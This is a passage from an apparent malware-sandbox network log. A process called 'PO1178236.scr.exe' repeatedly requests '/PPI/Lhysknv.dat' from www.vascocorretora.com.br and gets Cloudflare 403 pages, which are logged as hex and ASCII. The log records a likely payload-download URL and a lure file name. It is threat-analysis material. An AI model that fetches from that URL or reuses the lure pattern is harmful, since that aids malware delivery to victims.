2025-01-09 07:29:28 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:28 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 36 38 64 61 34 64 34 32 62 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b768da4d42b0</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:28 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 36 38 64 61 34 64 34 32 62 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b768da4d42b0',t:'MTczNjQwNzc2OC4wMDAwMDA='};var
2025-01-09 07:29:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49938	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:28 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:29 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eWxgWd%2Fy6dn9UPWOYVc8o1INAX5k4eAeNWgi2wLej%2FyV%2BVPY4OBuLYvBHpefwmigoHpEG3kRcHetTDazAJyQe5YVPJH1UUIpoO6w6PlhiinNLJORngI%2Fg0zD3QxHfoq6IgnSZp09sqkwP5r%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b76c9d9a42e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&min_rtt=1755&rtt_var=666&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1663817&cwnd=252&unsent_bytes=0&cid=9e3569a950a5ce79&ts=135&x=0"
2025-01-09 07:29:29 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:29 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:29 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:29 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 36 63 39 64 39 61 34 32 65 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b76c9d9a42e0</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:29 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 36 63 39 64 39 61 34 32 65 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b76c9d9a42e0',t:'MTczNjQwNzc2OS4wMDAwMDA='};v
2025-01-09 07:29:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49941	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:29 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:29 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZJL0OjubYLPDXowg%2FQOElqObfD%2FixwPUQMLDk%2BSd1S%2FxoNmuaEJ8J9fKMU1CUHtOYG4nBCUo96Dn80AHG6dtPx9mWmY29yjpZSdJFfuBj22ou780vh3M0vtFRsQUGYtcs%2Fj9gkKZTzc9uo4v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7706d525e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1575&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1812538&cwnd=244&unsent_bytes=0&cid=b36e9b3538e8fa26&ts=141&x=0"
2025-01-09 07:29:29 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:29 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:29 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:29 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 37 30 36 64 35 32 35 65 36 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7706d525e67</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:29 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 37 30 36 64 35 32 35 65 36 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7706d525e67',t:'MTczNjQwNzc2OS4wMDAwMDA='};v
2025-01-09 07:29:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49946	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:30 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:30 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BW4Xrs8lf5q8pZnKCgjl09NV%2F3PN8sA5eeBzm3NEr%2BrioxIqX%2BvD82HoHdM7FhfqzOVlxlPcBfQJiBBGMejY8OU8EEBSlf3sVZ8Mj6ph5yNnwgNhTJvy2pvtNrZnmtYBFH23zmnZmU7%2BRsAI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b774497a4225-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1719&rtt_var=654&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1698662&cwnd=235&unsent_bytes=0&cid=9e97ca4a507b96aa&ts=150&x=0"
2025-01-09 07:29:30 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:30 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:30 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:30 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 37 34 34 39 37 61 34 32 32 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 